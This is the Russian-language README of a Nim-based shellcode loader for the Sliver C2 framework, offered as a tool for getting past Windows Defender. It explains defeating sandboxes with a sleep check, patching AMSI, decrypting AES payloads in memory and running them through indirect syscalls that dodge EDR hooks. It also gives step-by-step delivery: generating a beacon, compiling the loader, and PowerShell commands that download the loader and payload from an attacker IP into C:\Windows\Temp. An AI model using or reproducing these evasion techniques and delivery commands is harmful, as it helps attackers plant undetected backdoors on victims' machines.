
Инструмент шифрования на основе Nim для обфускации шелл-кода и полезных нагрузок с целью обхода Windows Defender.
Загрузчик шеллкода для Sliver, написанный на Nim, предназначенный для Windows x64. Два варианта, покрывающие два наиболее распространенных сценария доставки. Протестирован против Защитника Windows (Windows Defender) с включенной защитой в реальном времени.
Считывает зашифрованный бинарник шеллкода с диска, расшифровывает его в памяти и внедряет в себя. Используйте этот вариант, если у вас уже есть возможность сбросить файл и нужен небольшой простой бинарник.
loader.exe <shellcode.bin> [key_hex iv_hex]
Ключ и IV необязательны. Если они опущены, файл обрабатывается как нешифрованный шеллкод.
Загружает зашифрованный бинарник с вашего C2 через HTTP, используя стек WinHTTP от Windows, расшифровывает его в памяти и внедряет в себя. Файл никогда не касается диска. Используйте этот вариант, когда вы можете запустить бинарник на целевой машине, но не можете надежно сбросить второй файл.
Отредактируйте константы в начале stageless/loader.nim перед компиляцией:
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey = "..." # 64 шестнадцатеричных символа из encrypt.py
scIV = "..." # 32 шестнадцатеричных символа из encrypt.py
Загрузчик stageless вызывает Sleep(5000) при запуске и измеряет фактическое прошедшее время с помощью GetTickCount64. Если прошло менее 4500 мс, процесс завершается. Большинство автоматизированных сред песочниц ускоряют или пропускают ожидания, из-за чего проверка не проходит. Это происходит до любых сетевых операций или выполнения шеллкода, поэтому песочницы, анализирующие сетевое поведение, ничего не увидят.
amsi.nim патчит AmsiScanBuffer во время выполнения, используя два уровня обфускации:
Скрытие строк с помощью хеширования FNV-1a. Строка AmsiScanBuffer никогда не появляется в бинарнике. Вместо этого её хеш FNV-1a вычисляется на этапе компиляции и сохраняется как константа. Во время выполнения загрузчик проходит по таблице экспорта amsi.dll, хеширует каждое имя экспорта и сравнивает с сохранённым значением, чтобы найти адрес функции, не храня строку в памяти.
Обфускация XOR на этапе компиляции. Имя DLL (amsi.dll) и байты патча (xor eax, eax; ret = 31 C0 C3) кодируются XOR на этапе компиляции со случайным ключом, генерируемым заново при каждой сборке через подпроцесс Python. Ключ встраивается как константа, а байты декодируются во время выполнения непосредственно перед использованием. Сырые байты меняются при каждой сборке, нарушая статические сигнатуры на последовательность патча.
Патч перезаписывает первые три байта AmsiScanBuffer на xor eax, eax; ret, заставляя каждый вызов возвращать AMSI_RESULT_CLEAN независимо от входных данных.
encrypt.py шифрует сырой шеллкод с помощью AES-256-CBC, используя случайно сгенерированный 32-байтовый ключ и 16-байтовый IV. Загрузчик расшифровывает на месте, используя Windows BCrypt API, поэтому на целевой машине не требуется сторонняя криптографическая библиотека.
Память выделяется как PAGE_READWRITE, в неё записывается шеллкод, а затем область переключается в PAGE_EXECUTE_READ перед выполнением. Выделение сразу как PAGE_EXECUTE_READWRITE является известной сигнатурой, которую Defender и EDR явно помечают. Разделение фаз записи и выполнения позволяет избежать этого шаблона.
stageless/syscalls.nim обходит как слой Win32 API (kernel32.dll), так и любые хуки userland в ntdll.dll, установленные EDR.
Определение SSN. При запуске загрузчик получает базовый адрес ntdll и анализирует её таблицу экспорта PE, собирая каждый экспорт Nt*, отсортированный по RVA. Для каждой необходимой NT-функции проверяются первые четыре байта:
4C 8B D1 B8 (mov r10, rcx; mov eax, imm32) означает, что заглушка чиста, и SSN считывается непосредственно из байтов 4-5. Это Hell's Gate.neighbor_SSN +/- distance. SSN увеличиваются на единицу на каждую заглушку в порядке адресов. Это Halo's Gate.Поиск гаджета. Загрузчик сканирует первую найденную чистую заглушку Nt* на предмет последовательности байт 0F 05 C3 (syscall; ret). Это даёт адрес внутри раздела .text, поддерживаемого образом ntdll, который можно повторно использовать.
Генерация заглушек. Для каждой требуемой функции 22-байтовая заглушка записывается на одну RW-страницу, которая перед использованием переключается в RX:
4C 8B D1 mov r10, rcx
B8 xx xx 00 00 mov eax, <SSN>
FF 25 00 00 00 00 jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx адрес гаджета
jmp [rip+0] разыменовывает 8 байт, следующие сразу за ним (адрес гаджета), и перенаправляет выполнение на существующую последовательность syscall; ret внутри ntdll. Инструкция syscall выполняется из раздела .text ntdll, а не из нашей анонимной области, что обходит отслеживание на уровне ядра, откуда был сделан системный вызов.
Четыре функции, реализованные через непрямые системные вызовы: NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx и NtWaitForSingleObject.
После расшифровки загрузчик stageless выделяет RW-область в своём собственном процессе через NtAllocateVirtualMemory, копирует шеллкод с помощью copyMem, переключает область в RX через NtProtectVirtualMemory и запускает поток через NtCreateThreadEx. Главный поток затем бесконечно блокируется на NtWaitForSingleObject, удерживая процесс живым, пока работают горутины бэкдора. Все четыре вызова проходят через описанные выше заглушки непрямых системных вызовов.
Самостоятельное внедрение минимизирует поверхность вызовов. Здесь нет межпроцессных API-вызовов (WriteProcessMemory, CreateRemoteThread и т.д.), которые являются основными векторами обнаружения для классического удалённого внедрения.
AmsiScanBuffer через FNV-1a, перезаписать на xor eax, eax; retsyscall; ret, записать заглушкиNtAllocateVirtualMemory в собственном процессе (RW) через непрямой системный вызовNtProtectVirtualMemory в PAGE_EXECUTE_READ через непрямой системный вызовNtCreateThreadEx через непрямой системный вызовNtWaitForSingleObject на дескрипторе потока через непрямой системный вызовVirtualAlloc (RW), копирование шеллкода, VirtualProtect в RXНа вашей сборочной Linux-машине:
nimble install winim)x86_64-w64-mingw32-gcc)pip install pycryptodome)[server] sliver > mtls --lhost 10.10.14.42 --lport 443
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon
python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv: 83b82994e8c512d536f7d42e89d6e761
Отредактируйте stageless/loader.nim и задайте c2Host, c2Port, c2Path, scKey, scIV, затем из корня проекта:
# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim
# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim
Всегда компилируйте из корня проекта, чтобы загружался только корневой nim.cfg. На выходе получается статически слинкованный Windows x64 PE без внешних зависимостей от DLL, кроме стандартных системных библиотек.
Stageless: отдайте зашифрованный бинарник по HTTP на порту, соответствующем c2Port:
cd bins && python3 -m http.server 443
Stager: передайте оба файла на целевую машину:
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")
Stageless:
loader.exe
Stager с шифрованием:
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761
Stager без шифрования:
loader.exe shellcode.bin
Если доставка осуществляется через загрузочный скрипт PowerShell, AMSI отсканирует скрипт до запуска загрузчика. Сначала пропатчите AMSI в вашей PS-сессии:
python3 gen_amsi.py
Вставьте вывод в PS-сессию перед загрузкой или выполнением чего-либо. Скрипт находит AmsiScanBuffer по хешу таблицы экспорта, поэтому строка никогда не появляется в открытом виде, а все байты патча закодированы XOR со случайным ключом, уникальным для каждого запуска.
BCryptSetProperty для режима цепочки возвращает STATUS_INVALID_PARAMETER, но BCrypt по умолчанию использует CBC, расшифровка работает корректноsyscall в заглушках выполняется внутри раздела .text ntdll (поддерживаемого образом, подписанного Microsoft), а не со страницы заглушки, что обходит отслеживание источника системного вызова на уровне ядраВы можете найти больше подробностей о механизмах Защитника, техниках и других инструментах в моём блоге